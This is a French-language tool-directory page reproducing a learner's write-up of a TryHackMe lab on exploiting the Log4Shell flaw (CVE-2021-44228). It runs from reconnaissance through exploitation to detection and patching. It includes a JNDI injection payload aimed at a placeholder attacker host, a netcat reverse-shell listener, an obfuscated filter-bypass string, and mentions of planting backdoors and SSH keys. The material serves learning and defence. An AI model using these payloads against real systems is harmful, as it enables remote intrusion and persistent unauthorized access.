Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
THM---Solar-exploiting-Log-4j — Cette salle est basée sur l'exploitation de la tristement célèbre vulnérabilité Log4j ( CVE-2021-44228), également appelée Log4Shell. Cette faille permet aux attaquants d'exécuter du code à distance via l'injection de payloads malveillants dans les messages de journalisation. | Kitploit
Outils/GitHubGitHub/saru1718/thm---solar-exploiting-log-4j
Mécanismes de PersistanceAnalyse des VulnérabilitésExploitationÉvasion IDS/IPSExploitation d'Applications WebPost-ExploitationContournement de WAFTests d'IntrusionApprentissage et Éducation

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Développement de Charges Utiles
GitHubsaru1718/thm---solar-exploiting-log-4j

THM---Solar-exploiting-Log-4j

Cette salle est basée sur l'exploitation de la tristement célèbre vulnérabilité Log4j ( CVE-2021-44228), également appelée Log4Shell. Cette faille permet aux attaquants d'exécuter du code à distance via l'injection de payloads malveillants dans les messages de journalisation.

Voir le dépôt
4il y a 5 moisPas encore vérifié
Partager

THM---Solar-exploiting-Log-4j

Cette salle est basée sur l'exploitation de la fameuse vulnérabilité Log4j (CVE-2021-44228), également appelée Log4Shell. Cette faiblesse permet aux attaquants d'exécuter du code à distance en injectant des charges malveillantes dans les messages de journalisation.

TÂCHE 1 – INTRODUCTION À CVE-2021-44228

Dans cette tâche, j'ai appris la vulnérabilité Log4Shell (CVE-2021-44228) dans Apache Log4j. • Log4j est une bibliothèque de journalisation Java largement utilisée. • La vulnérabilité permet l'exécution de code à distance (RCE) via des recherches JNDI. • Les attaquants peuvent injecter des charges utiles comme : ${jndi:ldap://attacker.com/a} • Une fois journalisée, le serveur contacte le serveur contrôlé par l'attaquant et exécute un code malveillant. 👉 Cela a montré à quel point il est dangereux de journaliser les entrées utilisateur sans les assainir.

TÂCHE 2 – RECONNAISSANCE

Ici, j'ai commencé à interagir avec le système cible. • Accédé à l'application web. • Identifié les champs de saisie et les en-têtes susceptibles d'être journalisés. • Observé comment l'application traite les entrées utilisateur. 👉 Objectif : trouver où Log4j est utilisé et où des charges utiles peuvent être injectées.

TÂCHE 3 – DÉCOUVERTE

Dans cette étape, j'ai confirmé la vulnérabilité. • Testé l'injection de charges utiles dans des en-têtes comme : • User-Agent • X-Forwarded-For • Vérifié les connexions sortantes ou les réponses. 👉 Cela a permis de vérifier que l'application est vulnérable à Log4Shell.

TÂCHE 4 – PREUVE DE CONCEPT

J'ai créé une preuve de concept fonctionnelle pour démontrer la vulnérabilité. • Configuré un écouteur/serveur pour détecter les rappels. • Injecté une charge utile JNDI. • Observé que la cible a effectué une requête vers mon serveur. 👉 Cela a confirmé l'interaction à distance → la vulnérabilité est exploitable.

TÂCHE 5 – EXPLOITATION

Ici, je suis passé de la preuve de concept à l'exploitation complète. • Hébergé une charge utile malveillante (classe Java ou script). • Utilisé l'injection JNDI pour forcer le serveur à la charger. • Obtenu un shell inversé. Exemple : nc -lvnp 4444 👉 Exécution de code à distance réussie.

TÂCHE 6 – PERSISTANCE

Après avoir obtenu l'accès, j'ai assuré un accès continu. • Créé des portes dérobées ou ajouté des clés SSH. • Modifié les configurations système si nécessaire. 👉 Cela garantit l'accès même après un redémarrage ou une perte de session.

TÂCHE 7 – DÉTECTION

Cette tâche était axée sur l'identification des attaques. • Appris comment les exploits Log4j apparaissent dans les journaux. • Indicateurs : • Modèles ${jndi:ldap://...} • Trafic LDAP/DNS sortant suspect 👉 Important pour les équipes bleues afin de détecter les tentatives d'exploitation.

TÂCHE 8 – CONTOURNEMENTS

Ici, j'ai exploré comment les attaquants contournent les filtres. • Techniques d'obfuscation : ${${lower:j}${lower:n}${lower:d}${lower:i}:...} • Encodage des charges utiles pour échapper à la détection. 👉 Montre qu'un simple filtrage ne suffit pas.

TÂCHE 9 – ATTÉNUATION

J'ai appris comment réduire le risque sans correctif complet. • Désactiver les recherches JNDI • Restreindre les connexions réseau sortantes • Utiliser des règles WAF 👉 Défenses temporaires avant un correctif approprié.

TÂCHE 10 – CORRECTIFS

Axé sur les correctifs permanents. • Mettre à jour Log4j vers : • 2.17.0 ou version ultérieure • Supprimer les classes vulnérables : JndiLookup.class 👉 Un correctif approprié élimine complètement la vulnérabilité.

TÂCHE 11 – CRÉDITS ET NOTES DE L'AUTEUR

• Remerciements aux créateurs de la salle. • Résumé des objectifs d'apprentissage. • Réflexions finales sur l'impact de Log4Shell.

RÉFLEXIONS FINALES

Cette salle m'a donné une compréhension complète de : • Comment fonctionne une vulnérabilité critique réelle • Comment les attaquants l'exploitent étape par étape • Comment les défenseurs la détectent et la préviennent 👉 C'était une excellente expérience pratique avec l'une des vulnérabilités les plus marquantes de l'histoire de la cybersécurité.

Télécharger l’outil